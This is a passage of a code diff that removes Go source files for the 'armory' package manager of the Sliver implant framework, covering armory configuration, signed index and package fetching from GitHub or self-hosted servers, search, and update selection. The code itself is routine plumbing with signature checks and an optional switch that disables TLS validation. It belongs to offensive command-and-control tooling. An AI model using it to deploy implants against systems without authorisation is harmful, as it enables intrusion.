-		Enabled:          armoryConfig.Enabled,
-	}
-
-	if cmd.Flags().Changed("name") {
-		newName, _ := cmd.Flags().GetString("name")
-		// Make sure the name does not already exist
-		if armoryNameExists(newName) {
-			con.PrintErrorf("armory with name %s already exists\n", name)
-			return
-		}
-		armoryConfig.Name = newName
-	}
-	if cmd.Flags().Changed("pubkey") {
-		newPubKey, _ := cmd.Flags().GetString("pubkey")
-		/*
-			Since public keys are used as the key for the index cache,
-			make sure we have not been given a key that already exists
-		*/
-		if armoryKeyExists(newPubKey) {
-			con.PrintErrorf("armory provided public key already exists\n")
-			return
-		}
-		armoryConfig.PublicKey = newPubKey
-	}
-	if cmd.Flags().Changed("url") {
-		newUrl, _ := cmd.Flags().GetString("url")
-		armoryConfig.RepoURL = newUrl
-	}
-	if cmd.Flags().Changed("auth") {
-		newAuth, _ := cmd.Flags().GetString("auth")
-		armoryConfig.Authorization = newAuth
-	}
-	if cmd.Flags().Changed("authcmd") {
-		newAuthCmd, _ := cmd.Flags().GetString("authcmd")
-		armoryConfig.AuthorizationCmd = newAuthCmd
-	}
-
-	// We will remove the old armory and add a new one with the changed properties to force a refresh
-	currentArmories.Delete(previousConfig.PublicKey)
-	indexCache.Delete(previousConfig.PublicKey)
-	armoryPackageIDs := getPackageIDsForArmory(previousConfig.PublicKey)
-	for _, id := range armoryPackageIDs {
-		pkgCache.Delete(id)
-	}
-	clientConfig := parseArmoryHTTPConfig(cmd)
-	err = verifyArmory(&armoryConfig, clientConfig)
-	if err != nil {
-		con.PrintErrorf("could not modify armory: %s\n", err)
-		confirm := false
-		prompt := &survey.Confirm{Message: "Would you like to revert the properties of the armory back to their previous values?"}
-		survey.AskOne(prompt, &confirm, nil)
-		if !confirm {
-			return
-		} else {
-			err = verifyArmory(&previousConfig, clientConfig)
-			if err != nil {
-				con.PrintErrorf("could not re-add armory %s: %s\n", name, err)
-				return
-			}
-			armoryConfig = previousConfig
-			con.PrintSuccessf("Re-added armory with previous values")
-		}
-	}
-	currentArmories.Store(armoryConfig.PublicKey, armoryConfig)
-	if !cmd.Flags().Changed("no-save") {
-		SaveArmories(con)
-	}
-	// Force a refresh
-	con.PrintInfof("Refreshing armory information...\n")
-	refresh(clientConfig)
-	con.PrintSuccessf("Done\n")
-}
-
-func RefreshArmories(cmd *cobra.Command, con *console.SliverClient) {
-	clientConfig := parseArmoryHTTPConfig(cmd)
-	// Since this being called from the refresh command, force the refresh
-	clientConfig.IgnoreCache = true
-	clearAllCaches()
-	armoriesInitialized = false
-	con.PrintInfof("Refreshing armory information...")
-	refresh(clientConfig)
-	con.PrintSuccessf("Refreshed armory information\n")
-}
-
-func ResetArmoryConfig(cmd *cobra.Command, con *console.SliverClient) {
-	armoryConfigPath := filepath.Join(assets.GetRootAppDir(), assets.ArmoryConfigFileName)
-	con.PrintInfof("Removing armory configuration file %s...", armoryConfigPath)
-	err := os.Remove(armoryConfigPath)
-	if err != nil {
-		con.PrintErrorf("Could not delete armory configuration file %s: %s", armoryConfigPath, err)
-		return
-	}
-	con.PrintSuccessf("Removed armory configuration file %s\n", armoryConfigPath)
-
-	// Force a refresh
-	RefreshArmories(cmd, con)
-	con.PrintSuccessf("Successfully reset armory configuration\n")
-}

client/command/armory/parsers.go

@@ -1,521 +0,0 @@
-package armory
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"bytes"
-	"crypto/sha256"
-	"crypto/tls"
-	"encoding/base64"
-	"encoding/json"
-	"errors"
-	"fmt"
-	"io"
-	"net"
-	"net/http"
-	"net/url"
-	"path"
-	"strings"
-	"time"
-
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/util/minisign"
-)
-
-// ArmoryIndexParser - Generic interface to fetch armory indexes
-type ArmoryIndexParser func(*assets.ArmoryConfig, ArmoryHTTPConfig) (*ArmoryIndex, error)
-
-// ArmoryPackageParser - Generic interface to fetch armory package manifests
-type ArmoryPackageParser func(*assets.ArmoryConfig, *ArmoryPackage, bool, ArmoryHTTPConfig) (*minisign.Signature, []byte, error)
-
-var (
-	indexParsers = map[string]ArmoryIndexParser{
-		"api.github.com": GithubAPIArmoryIndexParser,
-	}
-	pkgParsers = map[string]ArmoryPackageParser{
-		"api.github.com": GithubAPIArmoryPackageParser,
-		"github.com":     GithubArmoryPackageParser,
-	}
-)
-
-const (
-	armoryIndexFileName    = "armory.json"
-	armoryIndexSigFileName = "armory.minisig"
-)
-
-type armoryIndexResponse struct {
-	Minisig     string `json:"minisig"`      // Minisig (Base64)
-	ArmoryIndex string `json:"armory_index"` // Index JSON (Base64)
-}
-
-type armoryPkgResponse struct {
-	Minisig  string `json:"minisig"`    // Minisig (Base64)
-	TarGzURL string `json:"tar_gz_url"` // Raw tar.gz url
-}
-
-func calculatePackageHash(pkg *ArmoryPackage) string {
-	if pkg == nil {
-		return ""
-	}
-
-	hasher := sha256.New()
-	// Hash some of the things that make the package unique
-	packageIdentifier := []byte(pkg.RepoURL + pkg.PublicKey + pkg.ArmoryName + pkg.CommandName)
-	hasher.Write(packageIdentifier)
-	return fmt.Sprintf("%x", hasher.Sum(nil))
-}
-
-//
-// Default Parsers for Self-Hosted Armories
-//
-
-// DefaultArmoryParser - Parse the armory index directly from the url
-func DefaultArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
-	var publicKey minisign.PublicKey
-	err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
-	if err != nil {
-		return nil, err
-	}
-
-	resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
-	if err != nil {
-		return nil, err
-	}
-	if resp.StatusCode != http.StatusOK {
-		return nil, errors.New("api returned non-200 status code")
-	}
-
-	indexResp := &armoryIndexResponse{}
-	err = json.Unmarshal(body, indexResp)
-	if err != nil {
-		return nil, err
-	}
-	armoryIndexData, err := base64.StdEncoding.DecodeString(indexResp.ArmoryIndex)
-	if err != nil {
-		return nil, err
-	}
-	armoryIndexSigData, err := base64.StdEncoding.DecodeString(indexResp.Minisig)
-	if err != nil {
-		return nil, err
-	}
-
-	// Verify index is signed by trusted key
-	valid := minisign.Verify(publicKey, armoryIndexData, armoryIndexSigData)
-	if !valid {
-		return nil, errors.New("index has invalid signature")
-	}
-
-	armoryIndex := &ArmoryIndex{
-		ArmoryConfig: armoryConfig,
-	}
-	err = json.Unmarshal(armoryIndexData, armoryIndex)
-	if err != nil {
-		return nil, err
-	}
-	// Populate armory name and ID information for assets
-	for _, bundle := range armoryIndex.Bundles {
-		bundle.ArmoryName = armoryIndex.ArmoryConfig.Name
-	}
-	for _, alias := range armoryIndex.Aliases {
-		alias.ArmoryName = armoryIndex.ArmoryConfig.Name
-		alias.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
-		if cached := packageCacheLookupByCmdAndArmory(alias.CommandName, armoryIndex.ArmoryConfig.PublicKey); cached != nil {
-			// A package with this name is in the cache, so we will remove it here so that the latest version is added
-			// when the index is parsed
-			pkgCache.Delete(cached.ID)
-		}
-		alias.ID = calculatePackageHash(alias)
-	}
-	for _, extension := range armoryIndex.Extensions {
-		extension.ArmoryName = armoryIndex.ArmoryConfig.Name
-		extension.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
-		if cached := packageCacheLookupByCmdAndArmory(extension.CommandName, armoryIndex.ArmoryConfig.PublicKey); cached != nil {
-			// A package with this name is in the cache, so we will remove it here so that the latest version is added
-			// when the index is parsed
-			pkgCache.Delete(cached.ID)
-		}
-		extension.ID = calculatePackageHash(extension)
-	}
-	return armoryIndex, nil
-}
-
-func decodePackageSignature(sigString string) ([]byte, error) {
-	// Base64 decode the signature
-	decodedData := make([]byte, base64.StdEncoding.DecodedLen(len(sigString)))
-	_, err := base64.StdEncoding.Decode(decodedData, []byte(sigString))
-	if err != nil {
-		return nil, err
-	}
-	// If decodedData does not end up being base64.StdEncoding.DecodedLen(len(data)) bytes long, trim the null bytes
-	decodedData = bytes.Trim(decodedData, "\x00")
-	return decodedData, nil
-}
-
-// DefaultArmoryPkgParser - Parse the armory package manifest directly from the url
-func DefaultArmoryPkgParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
-	var publicKey minisign.PublicKey
-	err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
-	if err != nil {
-		return nil, nil, err
-	}
-
-	resp, body, err := httpRequest(clientConfig, armoryPkg.RepoURL, armoryConfig, http.Header{})
-	if err != nil {
-		return nil, nil, err
-	}
-	if resp.StatusCode != http.StatusOK {
-		return nil, nil, fmt.Errorf("api returned non-200 status code (%d)", resp.StatusCode)
-	}
-	pkgResp := &armoryPkgResponse{}
-	err = json.Unmarshal(body, pkgResp)
-	if err != nil {
-		return nil, nil, err
-	}
-	decodedSig, err := decodePackageSignature(pkgResp.Minisig)
-	if err != nil {
-		return nil, nil, err
-	}
-	sig, err := parsePkgMinsig(decodedSig)
-	if err != nil {
-		return nil, nil, err
-	}
-	var tarGz []byte
-	if !sigOnly {
-		tarGzURL, err := url.Parse(pkgResp.TarGzURL)
-		if err != nil {
-			return nil, nil, err
-		}
-		if tarGzURL.Scheme != "https" && tarGzURL.Scheme != "http" {
-			return nil, nil, errors.New("invalid url scheme")
-		}
-		tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), armoryConfig)
-		if err != nil {
-			return nil, nil, err
-		}
-	}
-	return sig, tarGz, nil
-}
-
-//
-// GitHub API Parsers
-//
-
-type GithubAsset struct {
-	ID   int    `json:"id"`
-	Name string `json:"name"`
-	URL  string `json:"url"`
-	Size int    `json:"size"`
-
-	BrowserDownloadURL string `json:"browser_download_url"`
-}
-
-type GithubRelease struct {
-	ID          int           `json:"id"`
-	Name        string        `json:"name"`
-	URL         string        `json:"url"`
-	HTMLURL     string        `json:"html_url"`
-	TagName     string        `json:"tag_name"`
-	Body        string        `json:"body"`
-	Prerelease  bool          `json:"prerelease"`
-	TarballURL  string        `json:"tarball_url"`
-	ZipballURL  string        `json:"zipball_url"`
-	CreatedAt   string        `json:"created_at"`
-	PublishedAt string        `json:"published_at"`
-	Assets      []GithubAsset `json:"assets"`
-}
-
-// GithubAPIArmoryIndexParser - Parse the armory index from a GitHub release
-func GithubAPIArmoryIndexParser(armoryConfig *assets.ArmoryConfig, clientConfig ArmoryHTTPConfig) (*ArmoryIndex, error) {
-	var publicKey minisign.PublicKey
-	err := publicKey.UnmarshalText([]byte(armoryConfig.PublicKey))
-	if err != nil {
-		return nil, err
-	}
-
-	resp, body, err := httpRequest(clientConfig, armoryConfig.RepoURL, armoryConfig, http.Header{})
-	if err != nil {
-		return nil, err
-	}
-	if resp.StatusCode != http.StatusOK {
-		if resp.StatusCode == http.StatusForbidden {
-			return nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
-		}
-		return nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
-	}
-
-	releases := []GithubRelease{}
-	err = json.Unmarshal(body, &releases)
-	if err != nil {
-		return nil, err
-	}
-	if len(releases) < 1 {
-		return nil, errors.New("no releases found")
-	}
-	release := releases[0] // Latest only right now
-
-	var armoryIndexData []byte
-	var sigData []byte
-	for _, asset := range release.Assets {
-		if asset.Name == armoryIndexFileName {
-			armoryIndexData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
-			if err != nil {
-				return nil, err
-			}
-		}
-		if asset.Name == armoryIndexSigFileName {
-			sigData, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
-			if err != nil {
-				return nil, err
-			}
-		}
-	}
-
-	// Verify index is signed by trusted key
-	valid := minisign.Verify(publicKey, armoryIndexData, sigData)
-	if !valid {
-		return nil, errors.New("invalid signature")
-	}
-
-	armoryIndex := &ArmoryIndex{
-		ArmoryConfig: armoryConfig,
-	}
-	err = json.Unmarshal(armoryIndexData, armoryIndex)
-	if err != nil {
-		return nil, err
-	}
-	// Populate armory name and ID information for assets
-	for _, bundle := range armoryIndex.Bundles {
-		bundle.ArmoryName = armoryIndex.ArmoryConfig.Name
-	}
-	for _, alias := range armoryIndex.Aliases {
-		alias.ArmoryName = armoryIndex.ArmoryConfig.Name
-		alias.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
-		alias.ID = calculatePackageHash(alias)
-	}
-	for _, extension := range armoryIndex.Extensions {
-		extension.ArmoryName = armoryIndex.ArmoryConfig.Name
-		extension.ArmoryPK = armoryIndex.ArmoryConfig.PublicKey
-		extension.ID = calculatePackageHash(extension)
-	}
-	return armoryIndex, nil
-}
-
-// GithubAPIArmoryPackageParser - Retrieve the minisig and tar.gz for an armory package from a GitHub release
-func GithubAPIArmoryPackageParser(armoryConfig *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
-	var publicKey minisign.PublicKey
-	err := publicKey.UnmarshalText([]byte(armoryPkg.PublicKey))
-	if err != nil {
-		return nil, nil, err
-	}
-
-	resp, body, err := httpRequest(clientConfig, armoryPkg.RepoURL, armoryConfig, http.Header{})
-	if err != nil {
-		return nil, nil, err
-	}
-	if resp.StatusCode != http.StatusOK {
-		if resp.StatusCode == http.StatusForbidden {
-			return nil, nil, errors.New("you hit the github api rate limit (60 req/hr), try later")
-		}
-		return nil, nil, fmt.Errorf("api returned non-200 status code: %d", resp.StatusCode)
-	}
-
-	releases := []GithubRelease{}
-	err = json.Unmarshal(body, &releases)
-	if err != nil {
-		return nil, nil, err
-	}
-	release := releases[0] // Latest only right now
-
-	var sig *minisign.Signature
-	var tarGz []byte
-	for _, asset := range release.Assets {
-		if asset.Name == fmt.Sprintf("%s.minisig", armoryPkg.CommandName) {
-			body, err := downloadRequest(clientConfig, asset.URL, armoryConfig)
-			if err != nil {
-				break
-			}
-			sig, err = parsePkgMinsig(body)
-			if err != nil {
-				break
-			}
-		}
-		if asset.Name == fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName) && !sigOnly {
-			tarGz, err = downloadRequest(clientConfig, asset.URL, armoryConfig)
-			if err != nil {
-				break
-			}
-		}
-	}
-	return sig, tarGz, err
-}
-
-//
-// GitHub Parsers
-//
-
-// GithubArmoryPackageParser - Uses github.com instead of api.github.com to download packages
-func GithubArmoryPackageParser(_ *assets.ArmoryConfig, armoryPkg *ArmoryPackage, sigOnly bool, clientConfig ArmoryHTTPConfig) (*minisign.Signature, []byte, error) {
-	latestTag, err := githubLatestTagParser(armoryPkg, clientConfig)
-	if err != nil {
-		return nil, nil, err
-	}
-
-	sigURL, err := url.Parse(armoryPkg.RepoURL)
-	if err != nil {
-		return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
-	}
-	sigURL.Path = path.Join(sigURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.minisig", armoryPkg.CommandName))
-
-	// Setup dummy auth here as the non-api endpoints don't support the Authorization header
-	noAuth := &assets.ArmoryConfig{
-		Authorization: "",
-	}
-	body, err := downloadRequest(clientConfig, sigURL.String(), noAuth)
-	if err != nil {
-		return nil, nil, err
-	}
-
-	sig, err := parsePkgMinsig(body)
-	if err != nil {
-		return nil, nil, fmt.Errorf("failed to parse pkg sig '%s': %s", armoryPkg.RepoURL, err)
-	}
-
-	var tarGz []byte
-	if !sigOnly {
-		tarGzURL, err := url.Parse(armoryPkg.RepoURL)
-		if err != nil {
-			return nil, nil, fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
-		}
-		tarGzURL.Path = path.Join(tarGzURL.Path, "releases", "download", latestTag, fmt.Sprintf("%s.tar.gz", armoryPkg.CommandName))
-		tarGz, err = downloadRequest(clientConfig, tarGzURL.String(), noAuth)
-		if err != nil {
-			return nil, nil, err
-		}
-	}
-
-	return sig, tarGz, nil
-}
-
-// We need to intercept the 302 redirect to determine the latest version tag
-func githubLatestTagParser(armoryPkg *ArmoryPackage, clientConfig ArmoryHTTPConfig) (string, error) {
-	client := httpClient(clientConfig)
-	client.CheckRedirect = func(req *http.Request, via []*http.Request) error {
-		return http.ErrUseLastResponse
-	}
-	latestURL, err := url.Parse(armoryPkg.RepoURL)
-	if err != nil {
-		return "", fmt.Errorf("failed to parse armory pkg url '%s': %s", armoryPkg.RepoURL, err)
-	}
-	latestURL.Path = path.Join(latestURL.Path, "releases", "latest")
-	latestRedirect, err := client.Get(latestURL.String())
-	if err != nil {
-		return "", fmt.Errorf("http get failed armory pkg url '%s': %s", armoryPkg.RepoURL, err)
-	}
-	defer latestRedirect.Body.Close()
-	if latestRedirect.StatusCode != http.StatusFound {
-		return "", fmt.Errorf("unexpected response status (wanted 302) '%s': %s", armoryPkg.RepoURL, latestRedirect.Status)
-	}
-	if latestRedirect.Header.Get("Location") == "" {
-		return "", fmt.Errorf("no location header in response '%s'", armoryPkg.RepoURL)
-	}
-	latestLocationURL, err := url.Parse(latestRedirect.Header.Get("Location"))
-	if err != nil {
-		return "", fmt.Errorf("failed to parse location header '%s'->'%s': %s",
-			armoryPkg.RepoURL, latestRedirect.Header.Get("Location"), err)
-	}
-	pathSegments := strings.Split(latestLocationURL.Path, "/")
-	for index, segment := range pathSegments {
-		if segment == "tag" && index+1 < len(pathSegments) {
-			return pathSegments[index+1], nil
-		}
-	}
-	return "", errors.New("tag not found in location header")
-}
-
-func parsePkgMinsig(data []byte) (*minisign.Signature, error) {
-	var sig minisign.Signature
-	err := sig.UnmarshalText(data)
-	if err != nil {
-		return nil, err
-	}
-	if len(sig.TrustedComment) < 1 {
-		return nil, errors.New("missing trusted comment")
-	}
-	return &sig, nil
-}
-
-func httpClient(config ArmoryHTTPConfig) *http.Client {
-	return &http.Client{
-		Timeout: config.Timeout,
-		Transport: &http.Transport{
-			Dial: (&net.Dialer{
-				Timeout: config.Timeout,
-			}).Dial,
-			IdleConnTimeout:     time.Millisecond,
-			Proxy:               http.ProxyURL(config.ProxyURL),
-			TLSHandshakeTimeout: config.Timeout,
-			TLSClientConfig: &tls.Config{
-				InsecureSkipVerify: config.DisableTLSValidation,
-			},
-		},
-	}
-}
-
-func httpRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig, extraHeaders http.Header) (*http.Response, []byte, error) {
-	client := httpClient(clientConfig)
-	req, err := http.NewRequest(http.MethodGet, reqURL, http.NoBody)
-	if err != nil {
-		return nil, nil, err
-	}
-
-	if len(extraHeaders) > 0 {
-		for key := range extraHeaders {
-			req.Header.Add(key, strings.Join(extraHeaders[key], ","))
-		}
-	}
-	if armoryConfig.Authorization != "" {
-		req.Header.Set("Authorization", armoryConfig.Authorization)
-	}
-	resp, err := client.Do(req)
-	if err != nil {
-		return nil, nil, err
-	}
-	defer resp.Body.Close()
-
-	body, err := io.ReadAll(resp.Body)
-	return resp, body, err
-}
-
-func downloadRequest(clientConfig ArmoryHTTPConfig, reqURL string, armoryConfig *assets.ArmoryConfig) ([]byte, error) {
-	downloadHdr := http.Header{
-		"Accept": {"application/octet-stream"},
-	}
-	resp, body, err := httpRequest(clientConfig, reqURL, armoryConfig, downloadHdr)
-	if err != nil {
-		return nil, err
-	}
-	if resp == nil {
-		return nil, fmt.Errorf("invalid response when downloading %s, try again later", reqURL)
-	}
-	if resp.StatusCode != http.StatusOK && resp.StatusCode != http.StatusFound {
-		return nil, fmt.Errorf("error downloading asset: http %d", resp.StatusCode)
-	}
-
-	return body, err
-}

client/command/armory/search.go

@@ -1,70 +0,0 @@
-package armory
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"regexp"
-
-	"github.com/spf13/cobra"
-
-	"github.com/bishopfox/sliver/client/command/alias"
-	"github.com/bishopfox/sliver/client/command/extensions"
-	"github.com/bishopfox/sliver/client/console"
-)
-
-// ArmorySearchCmd - Search for packages by name
-func ArmorySearchCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	con.PrintInfof("Refreshing package cache ... ")
-	clientConfig := parseArmoryHTTPConfig(cmd)
-	refresh(clientConfig)
-	con.Printf(console.Clearln + "\r")
-
-	rawNameExpr := args[0]
-	// rawNameExpr := ctx.Args.String("name")
-	if rawNameExpr == "" {
-		con.PrintErrorf("Please specify a search term!\n")
-		return
-	}
-	nameExpr, err := regexp.Compile(rawNameExpr)
-	if err != nil {
-		con.PrintErrorf("Invalid regular expression: %s\n", err)
-		return
-	}
-
-	aliases, exts := packageManifestsInCache()
-	matchedAliases := []*alias.AliasManifest{}
-	for _, a := range aliases {
-		if nameExpr.MatchString(a.CommandName) {
-			matchedAliases = append(matchedAliases, a)
-		}
-	}
-	matchedExts := []*extensions.ExtensionManifest{}
-	for _, extm := range exts {
-		for _, ext := range extm.ExtCommand {
-			if nameExpr.MatchString(ext.CommandName) {
-				matchedExts = append(matchedExts, extm)
-			}
-		}
-	}
-	if len(matchedAliases) == 0 && len(matchedExts) == 0 {
-		con.PrintInfof("No packages found matching '%s'\n", rawNameExpr)
-		return
-	}
-	PrintArmoryPackages(matchedAliases, matchedExts, con)
-}

client/command/armory/update.go

@@ -1,374 +0,0 @@
-package armory
-
-/*
-	Sliver Implant Framework
-	Copyright (C) 2021  Bishop Fox
-
-	This program is free software: you can redistribute it and/or modify
-	it under the terms of the GNU General Public License as published by
-	the Free Software Foundation, either version 3 of the License, or
-	(at your option) any later version.
-
-	This program is distributed in the hope that it will be useful,
-	but WITHOUT ANY WARRANTY; without even the implied warranty of
-	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-	GNU General Public License for more details.
-
-	You should have received a copy of the GNU General Public License
-	along with this program.  If not, see <https://www.gnu.org/licenses/>.
-*/
-
-import (
-	"fmt"
-	"os"
-	"sort"
-	"strconv"
-	"strings"
-
-	"github.com/AlecAivazis/survey/v2"
-	"github.com/jedib0t/go-pretty/v6/table"
-	"github.com/spf13/cobra"
-
-	"github.com/bishopfox/sliver/client/assets"
-	"github.com/bishopfox/sliver/client/command/alias"
-	"github.com/bishopfox/sliver/client/command/extensions"
-	"github.com/bishopfox/sliver/client/command/settings"
-	"github.com/bishopfox/sliver/client/console"
-	"github.com/bishopfox/sliver/util"
-)
-
-type VersionInformation struct {
-	OldVersion string
-	NewVersion string
-	ArmoryName string
-}
-
-type PackageType uint
-
-const (
-	AliasPackage PackageType = iota
-	ExtensionPackage
-)
-
-type UpdateIdentifier struct {
-	Type PackageType
-	Name string
-}
-
-// ArmoryUpdateCmd - Update all installed extensions/aliases
-func ArmoryUpdateCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
-	var selectedUpdates []UpdateIdentifier
-	var err error
-
-	con.PrintInfof("Refreshing package cache ... ")
-	clientConfig := parseArmoryHTTPConfig(cmd)
-	refresh(clientConfig)
-	con.Printf(console.Clearln + "\r")
-
-	armoryName, err := cmd.Flags().GetString("armory")
-	if err != nil {
-		con.PrintErrorf("Could not parse %q flag: %s\n", "armory", err)
-		return
-	}
-
-	// Find PK for the armory name
-	armoryPK := getArmoryPublicKey(armoryName)
-
-	// If the armory with the name is not found, print a warning
-	if cmd.Flags().Changed("armory") && armoryPK == "" {
-		con.PrintWarnf("Could not find a configured armory named %q - searching all configured armories\n\n", armoryName)
-	}
-
-	// Check packages for updates
-	aliasUpdates := checkForAliasUpdates(armoryPK)
-	extUpdates := checkForExtensionUpdates(armoryPK)
-
-	// Display a table of results
-	if len(aliasUpdates) > 0 || len(extUpdates) > 0 {
-		updateKeys := sortUpdateIdentifiers(aliasUpdates, extUpdates)
-		displayAvailableUpdates(con, updateKeys, aliasUpdates, extUpdates)
-		selectedUpdates, err = getUpdatesFromUser(con, updateKeys)
-		if err != nil {
-			con.PrintErrorf(err.Error() + "\n")
-			return
-		}
-		if len(selectedUpdates) == 0 {
-			return
-		}
-	} else {
-		con.PrintSuccessf("All packages are up to date")
-		return
-	}
-
-	for _, update := range selectedUpdates {
-		switch update.Type {
-		case AliasPackage:
-			aliasVersionInfo, ok := aliasUpdates[update.Name]
-			if !ok {
-				continue
-			}
-			updatedPackage, err := getPackageForCommand(update.Name, armoryPK, aliasVersionInfo.NewVersion)
-			if err != nil {
-				con.PrintErrorf("Could not get update package for alias %s: %s\n", update.Name, err)
-				// Keep going because other packages might not encounter errors
-				continue
-			}
-			err = installAliasPackage(updatedPackage, false, clientConfig, con)
-			if err != nil {
-				con.PrintErrorf("Failed to update %s: %s\n", update.Name, err)
-			}
-		case ExtensionPackage:
-			extVersionInfo, ok := extUpdates[update.Name]
-			if !ok {
-				continue
-			}
-			updatedPackage, err := getPackageForCommand(update.Name, armoryPK, extVersionInfo.NewVersion)
-			if err != nil {
-				con.PrintErrorf("Could not get update package for extension %s: %s\n", update.Name, err)
-				continue
-			}
-			err = installExtensionPackage(updatedPackage, false, clientConfig, con)
-			if err != nil {
-				con.PrintErrorf("Failed to update %s: %s\n", update.Name, err)
-			}
-		default:
-			continue
-		}
-	}
-}
-
-func checkForAliasUpdates(armoryPK string) map[string]VersionInformation {
-	cachedAliases, _ := packageManifestsInCache()
-	results := make(map[string]VersionInformation)
-	for _, aliasManifestPath := range assets.GetInstalledAliasManifests() {
-		data, err := os.ReadFile(aliasManifestPath)
-		if err != nil {
-			continue
-		}
-		localManifest, err := alias.ParseAliasManifest(data)
-		if err != nil {
-			continue
-		}
-		for _, latestAlias := range cachedAliases {
-			/*
-				We used to check if the version identifiers were different between the installed version and the
-				version in the armory. This worked when we had one armory, but with multiple potential armories,
-				we have to have some type of versioning. We do not have an official versioning scheme for packages,
-				so we will rely on the author of the package incrementing the version identifier somehow to determine
-				if a package is newer.
-			*/
-			if latestAlias.CommandName == localManifest.CommandName && latestAlias.Version > localManifest.Version {
-				if latestAlias.ArmoryPK == armoryPK || armoryPK == "" {
-					results[localManifest.CommandName] = VersionInformation{
-						OldVersion: localManifest.Version,
-						NewVersion: latestAlias.Version,
-						ArmoryName: latestAlias.ArmoryName,
-					}
-				}
-			}
-		}
-	}
-	return results
-}
-
-func checkForExtensionUpdates(armoryPK string) map[string]VersionInformation {
-	_, cachedExtensions := packageManifestsInCache()
-	// Return a map of extension name to minimum version to install
-	results := make(map[string]VersionInformation)
-	for _, extManifestPath := range assets.GetInstalledExtensionManifests() {
-		data, err := os.ReadFile(extManifestPath)
-		if err != nil {
-			continue
-		}
-		localManifest, err := extensions.ParseExtensionManifest(data)
-		if err != nil {
-			continue
-		}
-		for _, latestExt := range cachedExtensions {
-			/*
-				We used to check if the version identifiers were different between the installed version and the
-				version in the armory. This worked when we had one armory, but with multiple potential armories,
-				we have to have some type of versioning. We do not have an official versioning scheme for packages,
-				so we will rely on the author of the package incrementing the version identifier somehow to determine
-				if a package is newer.
-			*/
-			if latestExt.Name == localManifest.Name && latestExt.Version > localManifest.Version {
-				if latestExt.ArmoryPK == armoryPK || armoryPK == "" {
-					results[localManifest.Name] = VersionInformation{
-						OldVersion: localManifest.Version,
-						NewVersion: latestExt.Version,
-						ArmoryName: latestExt.ArmoryName,
-					}
-				}
-			}
-		}
-	}
-
-	return results
-}
-
-func sortUpdateIdentifiers(aliasUpdates, extensionUpdates map[string]VersionInformation) []UpdateIdentifier {
-	/*
-		This function helps us keep updates straight when the user chooses from them. Just in case
-		an alias and an extension exist with the same name, we cannot simply combine the two maps.
-
-		We will assume that no two aliases and no two extensions have the same name.
-	*/
-
-	result := []UpdateIdentifier{}
-
-	aliasNames := util.Keys(aliasUpdates)
-	extensionNames := util.Keys(extensionUpdates)
-	for _, name := range aliasNames {
-		result = append(result, UpdateIdentifier{
-			Type: AliasPackage,
-			Name: name,
-		})
-	}
-	for _, name := range extensionNames {
-		result = append(result, UpdateIdentifier{
-			Type: ExtensionPackage,
-			Name: name,
-		})
-	}
-
-	sort.Slice(result, func(i, j int) bool {
-		return result[i].Name < result[j].Name
-	})
-
-	return result
-}
-
-func displayAvailableUpdates(con *console.SliverClient, updateKeys []UpdateIdentifier, aliasUpdates, extensionUpdates map[string]VersionInformation) {
-	var (
-		aliasSuffix     string
-		extensionSuffix string
-		title           string = "Available Updates (%d alias%s, %d extension%s)"
-	)
-
-	tw := table.NewWriter()
-	tw.SetAutoIndex(true)
-	tw.SetStyle(settings.GetTableStyle(con))
-	if len(aliasUpdates) != 1 {
-		aliasSuffix = "es"
-	}
-	if len(extensionUpdates) != 1 {
-		extensionSuffix = "s"
-	}
-	tw.SetTitle(console.Bold + fmt.Sprintf(title, len(aliasUpdates), aliasSuffix, len(extensionUpdates), extensionSuffix) + console.Normal)
-	tw.AppendHeader(table.Row{
-		"Package Name",
-		"Package Type",
-		"Installed Version",
-		"Available Version",
-	})
-
-	for _, key := range updateKeys {
-		var (
-			packageName    string
-			packageType    string
-			packageVersion VersionInformation
-			ok             bool
